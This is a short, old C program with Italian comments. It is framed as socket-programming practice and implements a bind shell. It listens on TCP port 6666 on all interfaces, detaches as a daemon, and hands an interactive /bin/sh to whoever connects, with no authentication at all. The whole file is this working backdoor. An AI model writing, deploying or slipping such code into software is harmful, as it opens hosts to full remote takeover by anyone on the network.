/*
 *  TCPShell.c		Semplice Shell raggiungibile via socket
 *			Scritta solo per impratichirmi delle basi della
 *			programmazione dei socket BSD.
 *	
 *			no(C)1998 by fusys
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>

#define  LISTENQ		1		/* listen() backlog */

int main (int argc, char *argv[])
{
   	int lsocket ;		/* socket per listen() */
	int csocket ;		/* socket per connect() */

	struct sockaddr_in laddr ;	/* struttura IPv4 del demone */
	struct sockaddr_in caddr ;	/* struttura IPv4 del client */
	
	socklen_t len ;		/* dimensioni della struttura IPv4 */
	
	pid_t pid ;		/* tipo pid per il fork() */
	
   /* apriamo il server con socket(), bind() e listen() */

   if((lsocket=socket(AF_INET, SOCK_STREAM, 0)) < 0) {
	perror("socket error");
	return(10);
   }

   len = sizeof(laddr) ;
   memset(&laddr, 0, len) ;	
   laddr.sin_addr.s_addr = htonl(INADDR_ANY) ;
   laddr.sin_family = AF_INET ;
   laddr.sin_port = htons(6666) ;  /* apriamo sulla porta 6666 */
   if((bind(lsocket, (const struct sockaddr *)&laddr, len))) {
	perror("bind error");
	return(10);
   } 
   if(listen(lsocket, LISTENQ)) {
	perror("listen error");
	return(10);
   }

   /* ora TCP se ne va nel paese dei demoni e si becca come
    * parente init, pronto a seccarlo alla conclusione 	*/

   if ((pid=fork()) == -1) {
	perror("Fork #1");
	return(20);
   }
   if (pid > 0) exit(0);	/* parente */
   setsid() ;			/* figlio */	
  
   /* ora accettiamo UNA connessione	*/ 

   	len = sizeof(caddr);
   	if((csocket=accept(lsocket, &caddr, &len)) < 0) {
		perror("socket accept");
		abort();
   	}
	
	dup2(csocket,0);
	dup2(csocket,1);
	dup2(csocket,2);

	system("/bin/sh -i");
	exit(0);
}
